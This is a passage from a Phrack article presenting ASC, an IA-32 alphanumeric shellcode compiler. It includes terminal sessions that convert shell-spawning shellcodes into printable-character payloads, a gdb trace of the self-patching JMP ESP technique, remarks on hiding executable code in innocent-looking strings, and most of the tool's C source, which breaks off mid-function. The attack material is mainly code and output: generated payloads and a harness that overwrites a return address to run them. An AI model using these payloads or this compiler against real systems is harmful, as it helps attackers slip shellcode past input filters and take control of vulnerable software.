ASC writes a tiny code to run the alphanumeric shellcode, by simulating
a RET address overflow. This code cannot run correctly if "-a <r32>"
or "-s null" options were used.
-o[utput] <output file> : allows to specify the output filename.
EXAMPLES:
Let's finish with some practical examples, using shellcodes from nice
previous Phrack papers ;)
First, have a look at P49-14 (Aleph One's paper).
The first shellcode he writes (testsc.c) contain 00 bytes (normally not a
problem for ASC). We generate a C file and an alphanumeric shellcode,
using "XOR patches":
rix@debian:~/phrack$ ./asc -c shellcode -f c -o alpha.c p49-14
Reading p49-14 ... (61 bytes)
Shellcode (390 bytes):
LLLLYhb0pLX5b0pLHSSPPWQPPaPWSUTBRDJfh5tDSRajYX0Dka0TkafhN9fYf1Lkb0TkdjfY \
0Lkf0Tkgfh6rfYf1Lki0tkkh95h8Y1LkmjpY0Lkq0tkrh2wnuX1Dks0tkwjfX0Dkx0tkx0tky \
CjnY0LkzC0TkzCCjtX0DkzC0tkzCj3X0Dkz0TkzC0tkzChjG3IY1LkzCCCC0tkzChpfcMX1Dk \
zCCCC0tkzCh4pCnY1Lkz1TkzCCCCfhJGfXf1Dkzf1tkzCCjHX0DkzCCCCjvY0LkzCCCjdX0Dk \
zC0TkzCjWX0Dkz0TkzCjdX0DkzCjXY0Lkz0tkzMdgvvn9F1r8F55h8pG9wnuvjrNfrVx2LGkG \
3IDpfcM2KgmnJGgbinYshdvD9d
Writing alpha.c ...
Done.
rix@debian:~/phrack$ gcc -o alpha alpha.c
rix@debian:~/phrack$ ./alpha
sh-2.03$ exit
exit
rix@debian:~/phrack$
It seems to work perfectly. Let's note the alphanumeric shellcode is also
written to stdout.
Now, let's compile Klog's shellcode (P55-08). We choose the "stack
technique", with a JMP ESP to return to our original shellcode. We also
insert some breakpoints:
rix@debian:~/phrack$ ./asc -m stack -s jmp -debug-build-jump
-debug-jump -debug-original -c sc_linux -f c -o alpha.c P55-08
Reading P55-08 ... (50 bytes)
Shellcode (481 bytes):
LLLLZhqjj9X5qjj9HPWPPSRPPafhshfhVgfXf5ZHfPDhpbinDfhUFfXf5FifPDSDhHIgGX51 \
6poPDTYI11fhs2DTY01fhC6fXf5qvfPDfhgzfXf53EfPDTY01fhO3DfhF9fXf5yFfPDTY01fh \
T2DTY01fhGofXf5dAfPDTY01fhztDTY09fhqmfXf59ffPDfhPNDfhbrDTY09fhDHfXf5EZfPD \
fhV4fhxufXf57efPDfhl5DfhOSfXf53AfPDfhV4fhFafXf5GzfPDfhxGDTY01fh4IfXf5TFfP \
Dfh7VDfhhvDTY01fh22fXf5m5fPDfh3VDfhWvDTY09fhKzfXf5vWfPDTY01fhe3Dfh8qfXf5f \
zfPfhRvDTY09fhXXfXf5HFfPDfh0rDTY01fhk5fXf5OkfPfhwPfXf57DfPDTY09fhz3DTY09S \
QSUSFVDNfhiADTY09WRa0tkbfhUCfXf1Dkcf1tkc3UX
Writing alpha.c ...
Done.
rix@debian:~/phrack$ gcc -o alpha alpha.c
rix@debian:~/phrack$ gdb alpha
GNU gdb 19990928
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(no debugging symbols found)...
(gdb) run
Starting program: /home/rix/phrack/alpha
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffffb1d in ?? () ;-debug-build-jump
(gdb) x/22i 0xbffffb1d
0xbffffb1d: push %ebx
0xbffffb1e: push %ecx
0xbffffb1f: push %ebx ;EDX will contain 0xFFFFFFFF
0xbffffb20: push %ebp
0xbffffb21: push %ebx
0xbffffb22: inc %esi ;ESI contains 0xFFFFFFFF.
0xbffffb23: push %esi ;ESI contains 0.
0xbffffb24: inc %esp ;00 00 00 on the stack.
0xbffffb25: dec %esi ;restores ESI.
0xbffffb26: pushw $0x4169 ;push an alphanumeric word.
0xbffffb2a: inc %esp ;an alphanumeric byte on the
; stack.
0xbffffb2b: push %esp
0xbffffb2c: pop %ecx ;ECX contains ESP (the
; address of the byte).
0xbffffb2d: xor %bh,(%ecx) ;NOT on this byte (EBP will
; contain the dword offset).
0xbffffb2f: push %edi ;ESI will contain 0xFFFFFFFF
0xbffffb30: push %edx
0xbffffb31: popa
0xbffffb32: xor %dh,0x62(%ebx,%ebp,2) ;NOT on the first byte to
; patch (our 0xCC, int3).
; Let's note the use of
; alphanumeric <disp8>, the
; use of EBX (address of our
; shellcode) and the use of
; EBP (the previously stored
; offset).
0xbffffb36: pushw $0x4355
0xbffffb3a: pop %ax ;AX contains 0x4355.
0xbffffb3c: xor %ax,0x63(%ebx,%ebp,2) ;XOR the next 2 bytes
; (<disp8> is now 0x63).
0xbffffb41: xor %si,0x63(%ebx,%ebp,2) ;NOT these 2 bytes.
(gdb) x/3bx 0xbffffb41+5 ;O16 + XOR + ModR/M +
; SIB + <disp8> = 5 bytes
0xbffffb46: 0x33 0x55 0x58 ;The 3 bytes we patched:
; NOT 0x33 = 0xCC => INT 3
; NOT (0x55 XOR 0x55) = 0xFF
; NOT (0x43 XOR 0x58) = 0xE4
; => JMP ESP
(gdb) cont
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffffb47 in ?? () ;-debug-jump
(gdb) x/1i 0xbffffb47
0xbffffb47: jmp *%esp ;our jump
(gdb) info reg esp
esp 0xbffffd41 -1073742527
(gdb) cont ;Let's run this JMP ESP.
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffffd42 in ?? () ;(previous ESP)+1
; (because of our INT3). We
; are now in our original
; shellcode.
(gdb) cont ;Let's run it ;)
Continuing.
sh-2.03$ exit ;Finally!!!
exit
(no debugging symbols found)...(no debugging symbols found)...
Program exited normally.
(gdb)
----| Conclusion
Writing IA32 alphanumeric shellcodes is finally easily possible. But using
only alphanumeric addresses is less obvious. In fact, this is the main
problem met when we simply want to use alphanumeric chars.
In some particular cases, it will however be possible. We'll try to return
to instructions that will themselves return to our shellcode. For example,
on Win32 systems, we can sometimes meet interesting instructions at
addresses like 0x0041XXXX (XX are alphanumeric chars). So we can generate
such return addresses.
Partial overwriting of addresses is sometimes also interesting, because we
can take advantage of bytes already present on the stack, and mainly take
advantage of the null byte (that we cannot generate), automatically copied
at the end of the C string.
Note that, sometimes, depending on what we try to exploit, we can use some
others chars, for example '_', '@', '-' or such classical characters. It
is obvious, in such cases, that they will be very precious.
The "stack technique" seems to need an executable stack... But we can
modify ESP's value at the beginning of our shellcode, and get it point to
our heap, for example. Our original shellcode will then be written to the
heap. However, we need to patch the POP ESP instruction, because it's not
"alphanumeric compliant".
Except, the size (it will possibly lead to some problems), we also must
mention another disadvantages of those techniques: compiled shellcodes
are vulnerable to toupper()/tolower() conversions. Writing an alphanumeric
and toupper()/tolower() resistant shellcode is nearly an impossible task
(remember the first array, with usable instructions).
This paper shows that, contrary to received ideas, an executable code can
be written, and stored nearly everywhere. Never trust anymore a string
that looks perfectly legal: perhaps is it a well disguised shellcode ;)
Thanks and Hello to (people are alphanumerically ordered :p ):
- Phrack staff.
- Devhell, HERT & TESO guys: particularly analyst, binf, gaius, mayhem,
klog, kraken & skyper.
- dageshi, eddow, lrz, neuro, nite, obscurer, tsychrana.
rix@hert.org
----| Code
This should compile fine on any Linux box with "gcc -o asc asc.c".
It is distributed under the terms of the GNU GENERAL PUBLIC LICENSE.
If you have problems or comments, feel free to contact me (rix@hert.org).
<++> asc.c !707307fc
/******************************************************************************
* ASC : IA 32 Alphanumeric Shellcode Compiler *
******************************************************************************
*
* VERSION: 0.9.1
*
*
* LAST UPDATE: Fri Jul 27 19:42:08 CEST 2001
*
*
* LICENSE:
* ASC - Alphanumeric Shellcode Compiler
*
* Copyright 2000,2001 - rix
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*
* TODO:
* - create LibASC, a library containing all functions.
* - permit specification of acceptable non-alphanumeric chars.
* - generate padding instructions sequences.
* - encode alphanumeric chars, to avoid pattern matching.
* - insert junk instructions (polymorphic stuff) and modify existing.
* - optimize "patch technique" when offset < 256 and is alphanumeric.
* - automatically calculate padding size for "stack without jump" technique.
* - C output format: simulate addresses in register, padding,...
* - use constant address for compiled shellcode.
* - modify ESP starting address for "stack technique".
* - simple shellcode formats conversion mode (no compilation).
* - insert spaces and punctuation to imitate classical sentences.
*
*
* CONTACT: rix <rix@hert.org>
*
******************************************************************************/
#include <stdio.h>
#include <getopt.h>
#include <stdarg.h>
#include <string.h>
#include <time.h>
/* +------------------------------------------------------------------------+ */
/* | RANDOM NUMBERS FUNCTIONS | */
/* +------------------------------------------------------------------------+ */
/* initialize the pseudo-random numbers generator */
/* ============================================== */
void random_initialize() {
srand((unsigned int)time(0));
}
/* get a random integer i (0<=i<max) */
/* ================================= */
int random_get_int(int max) {
return (rand()%max);
}
/* +------------------------------------------------------------------------+ */
/* | SHELLCODES FUNCTIONS | */
/* +------------------------------------------------------------------------+ */
/* this structure will contain all our shellcodes */
/* ============================================== */
struct Sshellcode {
unsigned char* opcodes; /* opcodes bytes */
int size; /* size of the opcodes bytes */
};
/* allocate a new Sshellcode structure */
/* =================================== */
struct Sshellcode *shellcode_malloc() {
struct Sshellcode *ret;
if ((ret=(struct Sshellcode*)malloc(sizeof(struct Sshellcode)))!=NULL) {
ret->opcodes=NULL;
ret->size=0;
}
return ret;
}
/* initialize an existing Sshellcode structure */
/* =========================================== */
void shellcode_zero(struct Sshellcode *shellcode) {
if (shellcode==NULL) return;
if (shellcode->opcodes!=NULL) free(shellcode->opcodes);
shellcode->opcodes=NULL;
shellcode->size=0;
}
/* free an existing Sshellcode structure */
/* ===================================== */
void shellcode_free(struct Sshellcode *shellcode) {
if (shellcode!=NULL) {
shellcode_zero(shellcode);
free(shellcode);
}
}
/* return an allocated string from an existing Sshellcode */
/* ====================================================== */
char *shellcode_malloc_string(struct Sshellcode *shellcode) {
char *ret;
if (shellcode==NULL) return NULL;
if (shellcode->opcodes==NULL) return "";
if ((ret=(char*)malloc(shellcode->size+1))==NULL) return NULL;
memcpy(ret,shellcode->opcodes,shellcode->size);
ret[shellcode->size]=0;
return ret;
}
/* overwrite an existing Sshellcode with a Sshellcode */
/* ================================================== */
struct Sshellcode *shellcode_cpy(struct Sshellcode *destination,struct Sshellcode *source) {
if (destination==NULL) return NULL;
shellcode_zero(destination);
if (source!=NULL) {
if (source->opcodes!=NULL) { /* if source contains a shellcode, we copy it */
if ((destination->opcodes=(unsigned char*)malloc(source->size))==NULL) return NULL;
memcpy(destination->opcodes,source->opcodes,source->size);
destination->size=source->size;
}
}
return destination;
}
/* append a Sshellcode at the end of an existing Sshellcode */
/* ======================================================== */
struct Sshellcode *shellcode_cat(struct Sshellcode *destination,struct Sshellcode *source) {
if (destination==NULL) return NULL;
if (destination->opcodes==NULL) shellcode_cpy(destination,source);
else { /* destination already contains a shellcode */
if (source!=NULL) {
if (source->opcodes!=NULL) { /* if source contain a shellcode, we copy it */
if ((destination->opcodes=(unsigned char*)realloc(destination->opcodes,
destination->size+source->size))==NULL) return NULL;
memcpy(destination->opcodes+destination->size,source->opcodes,source->size);
destination->size+=source->size;
}
}
}
return destination;
}
/* add a byte at the end of an existing Sshellcode */
/* =============================================== */
struct Sshellcode *shellcode_db(struct Sshellcode *destination,unsigned char c) {
struct Sshellcode *ret,*tmp;
/* build a tiny one byte Sshellcode */
tmp=shellcode_malloc();
if ((tmp->opcodes=(unsigned char*)malloc(1))==NULL) return NULL;
tmp->opcodes[0]=c;
tmp->size=1;
/* copy it at the end of the existing Sshellcode */
ret=shellcode_cat(destination,tmp);
shellcode_free(tmp);
return ret;
}
/* read a Sshellcode from a binary file */
/* ==================================== */
int shellcode_read_binary(struct Sshellcode *shellcode,char *filename) {
FILE *f;
int size;
if (shellcode==NULL) return -1;
if ((f=fopen(filename,"r+b"))==NULL) return -1;
fseek(f,0,SEEK_END);
size=(int)ftell(f);
fseek(f,0,SEEK_SET);
if ((shellcode->opcodes=(unsigned char*)realloc(shellcode->opcodes,shellcode->size+size))==NULL) return -1;
if (fread(shellcode->opcodes+shellcode->size,size,1,f)!=1) {
shellcode_zero(shellcode);
return -1;
}
shellcode->size+=size;
fclose(f);
return shellcode->size;
}
/* read a Sshellcode from a C file */
/* =============================== */
#define LINE_SIZE 80*256
#define HEXADECIMALS "0123456789ABCDEF"
int shellcode_read_C(struct Sshellcode *shellcode,char *filename,char *variable) {
FILE *f;
struct Sshellcode *binary;
unsigned char *hex,*p,c;
int i;
if (shellcode==NULL) return -1;
hex=HEXADECIMALS;
binary=shellcode_malloc();
if (shellcode_read_binary(binary,filename)==-1) {
shellcode_free(binary);
return -1;
}
shellcode_db(binary,0); /* for string searching */
p=binary->opcodes;
while (p=strstr(p,"char ")) { /* "char " founded */
p+=5;
while (*p==' ') p++;
if (!variable) { /* if no variable was specified */
while ((*p!=0)&&(*p!='[')) p++; /* search for the '[' */
if (*p==0) {
shellcode_free(binary);
return -1;
}
}
else { /* a variable was specified */
if (memcmp(p,variable,strlen(variable))) continue; /* compare the variable */
p+=strlen(variable);
if (*p!='[') continue;
}
/* *p='[' */
p++;
if (*p!=']') continue;
/* *p=']' */
p++;
while ((*p==' ')||(*p=='\r')||(*p=='\n')||(*p=='\t')) p++;
if (*p!='=') continue;
/* *p='=' */
p++;
while (1) { /* search for the beginning of a "string" */
while ((*p==' ')||(*p=='\r')||(*p=='\n')||(*p=='\t')) p++;
while ((*p=='/')&&(*(p+1)=='*')) { /* loop until the beginning of a comment */
p+=2;
while ((*p!='*')||(*(p+1)!='/')) p++; /* search for the end of the comment */
p+=2;
while ((*p==' ')||(*p=='\r')||(*p=='\n')||(*p=='\t')) p++;
}
if (*p!='"') break; /* if this is the end of all "string" */
/* *p=begin '"' */
p++;
while (*p!='"') { /* loop until the end of the "string" */
if (*p!='\\') {
shellcode_db(shellcode,*p);
}
else {
/* *p='\' */
p++;
if (*p=='x') {
/* *p='x' */
p++;
*p=toupper(*p);
for (i=0;i<strlen(hex);i++) if (hex[i]==*p) c=i<<4; /* first digit */
p++;
*p=toupper(*p);
for (i=0;i<strlen(hex);i++) if (hex[i]==*p) c=c|i; /* second digit */
shellcode_db(shellcode,c);
}
}
p++;
}
/* end of a "string" */
p++;
}
/* end of all "string" */
shellcode_free(binary);
return shellcode->size;
}
shellcode_free(binary);
return -1;
}
/* write a Sshellcode to a binary file */
/* =================================== */
int shellcode_write_binary(struct Sshellcode *shellcode,char *filename) {
FILE *f;
if (shellcode==NULL) return -1;
if ((f=fopen(filename,"w+b"))==NULL) return -1;
if (fwrite(shellcode->opcodes,shellcode->size,1,f)!=1) return -1;
fclose(f);
return shellcode->size;
}
/* write a Sshellcode to a C file */
/* ============================== */
int shellcode_write_C(struct Sshellcode *shellcode,char *filename) {
FILE *f;
char *tmp;
int size;
if (shellcode==NULL) return -1;
if ((tmp=shellcode_malloc_string(shellcode))==NULL) return -1;
if ((f=fopen(filename,"w+b"))==NULL) return -1;
fprintf(f,"char shellcode[]=\"%s\";\n",tmp);
free(tmp);
fprintf(f,"\n");
fprintf(f,"int main(int argc, char **argv) {\n");
fprintf(f," int *ret;\n");
size=1;
while (shellcode->size*2>size) size*=2;
fprintf(f," char buffer[%d];\n",size);
fprintf(f,"\n");
fprintf(f," strcpy(buffer,shellcode);\n");
fprintf(f," ret=(int*)&ret+2;\n");
fprintf(f," (*ret)=(int)buffer;\n");
fprintf(f,"}\n");
fclose(f);
return shellcode->size;
}
/* print a Sshellcode on the screen */
/* ================================ */
int shellcode_print(struct Sshellcode *shellcode) {
char *tmp;
if (shellcode==NULL) return -1;
if ((tmp=shellcode_malloc_string(shellcode))==NULL) return -1;
printf("%s",tmp);
free(tmp);
return shellcode->size;
}
/* +------------------------------------------------------------------------+ */
/* | IA32 MACROS DEFINITIONS | */
/* +------------------------------------------------------------------------+ */
/* usefull macro definitions */
/* ========================= */
/*
SYNTAX:
r=register
d=dword
w=word
b,b1,b2,b3,b4=bytes
n=integer index
s=Sshellcode
*/
/* registers */
#define EAX 0
#define EBX 3
#define ECX 1
#define EDX 2
#define ESI 6
#define EDI 7
#define ESP 4
#define EBP 5
#define REGISTERS 8
/* boolean operators (bytes) */
#define XOR(b1,b2) (((b1&~b2)|(~b1&b2))&0xFF)
#define NOT(b) ((~b)&0xFF)
/* type constructors */
#define DWORD(b1,b2,b3,b4) ((b1<<24)|(b2<<16)|(b3<<8)|b4) /* 0xb1b2b3b4 */
#define WORD(b1,b2) ((b1<<8)|b2) /* 0xb1b2 */
/* type extractors (0=higher 3=lower) */
#define BYTE(d,n) ((d>>(n*8))&0xFF) /* get n(0-3) byte from (d)word d */
/* IA32 alphanumeric instructions definitions */
/* ========================================== */
#define DB(s,b) shellcode_db(s,b);
/* dw b1 b2 */
#define DW(s,w) \
DB(s,BYTE(w,0)) \
DB(s,BYTE(w,1)) \
/* dd b1 b2 b3 b4 */
#define DD(s,d) \
DB(s,BYTE(d,0)) \
DB(s,BYTE(d,1)) \
DB(s,BYTE(d,2)) \
DB(s,BYTE(d,3)) \
#define XOR_ECX_DH(s) \
DB(s,'0') \
DB(s,'1') \
#define XOR_ECX_BH(s) \
DB(s,'0') \
DB(s,'9') \
#define XOR_ECX_ESI(s) \
DB(s,'1') \
DB(s,'1') \
#define XOR_ECX_EDI(s) \
DB(s,'1') \
DB(s,'9') \
// xor [base+2*index+disp8],r8
#define XORsib8(s,base,index,disp8,r8) \
DB(s,'0') \
DB(s,(01<<6|r8 <<3|4 )) \
DB(s,(01<<6|index<<3|base)) \
DB(s,disp8) \
// xor [base+2*index+disp8],r32
#define XORsib32(s,base,index,disp8,r32) \
DB(s,'1') \
DB(s,(01<<6|r32 <<3|4 )) \
DB(s,(01<<6|index<<3|base)) \
DB(s,disp8) \
#define XOR_AL(s,b) \
DB(s,'4') \
DB(s,b) \
#define XOR_AX(s,w) \
O16(s) \
DB(s,'5') \
DW(s,w) \
#define XOR_EAX(s,d) \
DB(s,'5') \
DD(s,d) \
#define INCr(s,r) DB(s,('A'-1)|r)
#define DECr(s,r) DB(s,'H'|r)
#define PUSHr(s,r) DB(s,'P'|r)
#define POPr(s,r) DB(s,'X'|r)
#define POPAD(s) DB(s,'a')
#define O16(s) DB(s,'f')
#define PUSHd(s,d) \
DB(s,'h') \
DD(s,d) \
#define PUSHw(s,w) \
O16(s) \
DB(s,'h') \
DW(s,w) \
#define PUSHb(s,b) \
DB(s,'j') \
DB(s,b) \
#define INT3(s) \
DB(s,'\xCC') \
#define CALL_ESP(s) \
DB(s,'\xFF') \
DB(s,'\xD4') \
#define JMP_ESP(s) \
DB(s,'\xFF') \
DB(s,'\xE4') \
#define RET(s) \
DB(s,'\xC3') \
/* +------------------------------------------------------------------------+ */
/* | ALPHANUMERIC MANIPULATIONS FUNCTIONS | */
/* +------------------------------------------------------------------------+ */
#define ALPHANUMERIC_BYTES "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMOPQRSTUVWXYZ"
/* return 1 if the byte is alphanumeric */
/* ==================================== */
int alphanumeric_check(unsigned char c) {
if (c<'0') return 0;
else if (c<='9') return 1;
else if (c<'A') return 0;
else if (c<='Z') return 1;
else if (c<'a') return 0;
else if (c<='z') return 1;
else return 0;
}
/* return a random alphanumeric byte */
/* ================================= */
unsigned char alphanumeric_get_byte() {
unsigned char *bytes=ALPHANUMERIC_BYTES;
return bytes[random_get_int(strlen(bytes))];
}
/* return a random alphanumeric byte b (c=CATEGORY_XOR,(b XOR(b XOR c))) */
/* ===================================================================== */
unsigned char alphanumeric_get_complement(unsigned char c) {
unsigned char ret;
while (1) {
ret=alphanumeric_get_byte();
if (alphanumeric_check(XOR(c,ret))) return ret;
}
}
/* +------------------------------------------------------------------------+ */
/* | REGISTERS MANIPULATIONS FUNCTIONS | */
/* +------------------------------------------------------------------------+ */
/* return a random register in a set of allowed registers */
/* ====================================================== */
#define M_EAX (1<<EAX)
#define M_EBX (1<<EBX)
#define M_ECX (1<<ECX)
#define M_EDX (1<<EDX)
#define M_ESI (1<<ESI)
#define M_EDI (1<<EDI)
#define M_ESP (1<<ESP)
#define M_EBP (1<<EBP)
#define M_REGISTERS (M_EAX|M_EBX|M_ECX|M_EDX|M_ESI|M_EDI|M_ESP|M_EBP)
int alphanumeric_get_register(int mask) {
int regs[REGISTERS];
int size,i;
size=0;
for (i=0;i<REGISTERS;i++) { /* for all possible registers */
if (mask&(1<<i)) regs[size++]=i; /* add the register if it is in our mask */
}
return regs[random_get_int(size)];
}
/* return a "POPable" register (ECX|EDX) with the shellcode's base address using the return address on the stack */
/* ============================================================================================================= */
int alphanumeric_get_address_stack(struct Sshellcode *s) {
unsigned char ret;
if (s==NULL) return -1;
DECr(s,ESP); /* dec esp */
DECr(s,ESP); /* dec esp */
DECr(s,ESP); /* dec esp */
DECr(s,ESP); /* dec esp */
ret=alphanumeric_get_register(M_ECX|M_EDX); /* get a random register */
POPr(s,ret); /* pop ecx/edx =>pop the return value from the stack */
return ret;
}
/* initialize registers (reg=shellcode's base address) */
/* =================================================== */
int alphanumeric_initialize_registers(struct Sshellcode *s,unsigned char reg) {
unsigned char b[4];
int i;
if (s==NULL) return -1;
if (reg==EAX) {
PUSHr(s,EAX); /* push eax =>address */
reg=alphanumeric_get_register(M_ECX|M_EDX); /* get a random register */
POPr(s,reg); /* pop ecx/edx */
}
for (i=0;i<4;i++) b[i]=alphanumeric_get_byte(); /* get a random alphanumeric dword */
PUSHd(s,DWORD(b[0],b[1],b[2],b[3])); /* push '????' */
POPr(s,EAX); /* pop eax */
XOR_EAX(s,DWORD(b[0],b[1],b[2],b[3])); /* xor eax,'????' =>EAX=0 */
DECr(s,EAX); /* dec eax =>EAX=FFFFFFFF */
PUSHr(s,alphanumeric_get_register(M_REGISTERS)); /* push r32 =>EAX */
PUSHr(s,alphanumeric_get_register(M_REGISTERS)); /* push r32 =>ECX */
PUSHr(s,EAX); /* push eax =>EDX=FFFFFFFF */
PUSHr(s,EAX); /* push eax =>EBX=FFFFFFFF */
PUSHr(s,alphanumeric_get_register(M_REGISTERS)); /* push r32 =>ESP */
PUSHr(s,reg); /* push reg =>EBP=address */
PUSHr(s,EAX); /* push eax =>ESI=FFFFFFFF */
PUSHr(s,EAX); /* push eax =>EDI=FFFFFFFF */
POPAD(s); /* popad */
return 0;
}
/* +------------------------------------------------------------------------+ */
/* | STACK MANIPULATIONS FUNCTIONS | */
/* +------------------------------------------------------------------------+ */
/* return the category of the byte */
/* =============================== */
#define CATEGORY_NULL 0
#define CATEGORY_00 1
#define CATEGORY_FF 2
#define CATEGORY_ALPHA 3
#define CATEGORY_ALPHA_NOT 4
#define CATEGORY_XOR 5
#define CATEGORY_XOR_NOT 6
int alphanumeric_stack_get_category(unsigned char c) {
if (c==0) return CATEGORY_00;
else if (c==0xFF) return CATEGORY_FF;
else if (alphanumeric_check(c)) return CATEGORY_ALPHA;
else if (c<0x80) return CATEGORY_XOR;
else { /* need a NOT */
c=NOT(c);
if (alphanumeric_check(c)) return CATEGORY_ALPHA_NOT;
else return CATEGORY_XOR_NOT;
}
}
/* make a NOT on 1,2,3 or 4 bytes on the stack */
/* =========================================== */
int alphanumeric_stack_generate_not(struct Sshellcode *s,int size) {
if (s==NULL) return -1;
PUSHr(s,ESP); /* push esp */
POPr(s,ECX); /* pop ecx */
switch(size) {
case 1:
if (alphanumeric_get_register(M_EDX|M_EBX)==EDX) {
XOR_ECX_DH(s); /* xor [ecx],dh */
}
else {
XOR_ECX_BH(s); /* xor [ecx],bh */
}
break;
case 2:
if (alphanumeric_get_register(M_ESI|M_EDI)==ESI) {
O16(s);XOR_ECX_ESI(s); /* xor [ecx],si */
}
else {
O16(s);XOR_ECX_EDI(s); /* xor [ecx],di */
}
break;
case 3:
DECr(s,ECX); /* dec ecx */
case 4:
if (alphanumeric_get_register(M_ESI|M_EDI)==ESI) {
XOR_ECX_ESI(s); /* xor [ecx],esi */
}
else {
XOR_ECX_EDI(s); /* xor [ecx],edi */
}
break;
}
return 0;
}
/* generate 1,2,3 or 4 bytes from a category on the stack */
/* ====================================================== */
#define SB1 b[size-1]
#define SB2 b[size-2]
#define SB3 b[size-3]
#define SB4 b[size-4]
int alphanumeric_stack_generate_push(struct Sshellcode *s,int category,unsigned char *bytes,int size) {
int reg,i;
unsigned char b[4];
unsigned char xSB1,xSB2,xSB3,xSB4;
if (s==NULL) return -1;
memcpy(b,bytes,4);
/* possibly realize a NOT on b[] */
if ((category==CATEGORY_ALPHA_NOT)||(category==CATEGORY_XOR_NOT)) {
for (i=0;i<size;i++) b[i]=NOT(b[i]);
}
/* generate bytes on the stack */
switch(category) {
case CATEGORY_00:
case CATEGORY_FF:
reg=alphanumeric_get_register(M_EDX|M_EBX|M_ESI|M_EDI);
if (category==CATEGORY_00) INCr(s,reg); /* inc r16 =>r16=0*/
switch(size) {
case 1:
O16(s);PUSHr(s,reg); /* push r16 */
INCr(s,ESP); /* inc esp */
break;
case 2:
O16(s);PUSHr(s,reg); /* push r16 */
break;
case 3:
PUSHr(s,reg); /* push r32 */
INCr(s,ESP); /* inc esp */
break;
case 4:
PUSHr(s,reg); /* push r32 */
break;
}
if (category==CATEGORY_00) DECr(s,reg); /* dec r16 =>r16=FFFFFFFF */
break;
case CATEGORY_ALPHA:
case CATEGORY_ALPHA_NOT:
switch(size) {
case 1:
PUSHw(s,WORD(SB1,alphanumeric_get_byte())); /* push SB1 */
INCr(s,ESP); /* inc esp */
break;
case 2:
PUSHw(s,WORD(SB1,SB2)); /* push SB1 SB2 */
break;
case 3:
PUSHd(s,DWORD(SB1,SB2,SB3,alphanumeric_get_byte())); /* push SB1 SB2 SB3 */
INCr(s,ESP); /* inc esp */
break;
case 4:
PUSHd(s,DWORD(SB1,SB2,SB3,SB4)); /* push SB1 SB2 SB3 SB4 */
break;
}
break;
case CATEGORY_XOR:
case CATEGORY_XOR_NOT:
switch(size) {
case 1:
xSB1=alphanumeric_get_complement(SB1);
PUSHw(s,WORD(XOR(SB1,xSB1),alphanumeric_get_byte())); /* push ~xSB1 */
O16(s);POPr(s,EAX); /* pop ax */
XOR_AX(s,WORD(xSB1,alphanumeric_get_byte())); /* xor ax,xSB1 =>EAX=SB1 */
O16(s);PUSHr(s,EAX); /* push ax */
INCr(s,ESP); /* inc esp */
break;
case 2:
xSB1=alphanumeric_get_complement(SB1);
xSB2=alphanumeric_get_complement(SB2);
PUSHw(s,WORD(XOR(SB1,xSB1),XOR(SB2,xSB2))); /* push ~xSB1 ~xSB2 */
O16(s);POPr(s,EAX); /* pop ax */
XOR_AX(s,WORD(xSB1,xSB2)); /* xor ax,xSB1 xSB2 =>EAX=SB1 SB2 */
O16(s);PUSHr(s,EAX); /* push ax */
break;
case 3:
xSB1=alphanumeric_get_complement(SB1);
xSB2=alphanumeric_get_complement(SB2);
xSB3=alphanumeric_get_complement(SB3);
PUSHd(s,DWORD(XOR(SB1,xSB1),XOR(SB2,xSB2),XOR(SB3,xSB3),alphanumeric_get_byte())); /* push ~xSB1 ~xSB2 ~xSB3 */
POPr(s,EAX); /* pop eax */
XOR_EAX(s,DWORD(xSB1,xSB2,xSB3,alphanumeric_get_byte())); /* xor eax,xSB1 xSB2 xSB3 =>EAX=SB1 SB2 SB3 */
PUSHr(s,EAX); /* push eax */
INCr(s,ESP); /* inc esp */
break;
case 4:
xSB1=alphanumeric_get_complement(SB1);
xSB2=alphanumeric_get_complement(SB2);
xSB3=alphanumeric_get_complement(SB3);
xSB4=alphanumeric_get_complement(SB4);
PUSHd(s,DWORD(XOR(SB1,xSB1),XOR(SB2,xSB2),XOR(SB3,xSB3),XOR(SB4,xSB4))); /* push ~xSB1 ~xSB2 ~xSB3 ~xSB4 */
POPr(s,EAX); /* pop eax */
XOR_EAX(s,DWORD(xSB1,xSB2,xSB3,xSB4)); /* xor eax,xSB1 xSB2 xSB3 xSB4 =>EAX=SB1 SB2 SB3 SB4 */
PUSHr(s,EAX); /* push eax */
break;
}
break;
}
/* possibly realize a NOT on the stack */
if ((category==CATEGORY_ALPHA_NOT)||(category==CATEGORY_XOR_NOT)) alphanumeric_stack_generate_not(s,size);
return 0;
}
/* generate the original shellcode on the stack */
/* ============================================ */
int alphanumeric_stack_generate(struct Sshellcode *output,struct Sshellcode *input) {
int category,size,i;
if (input==NULL) return -1;
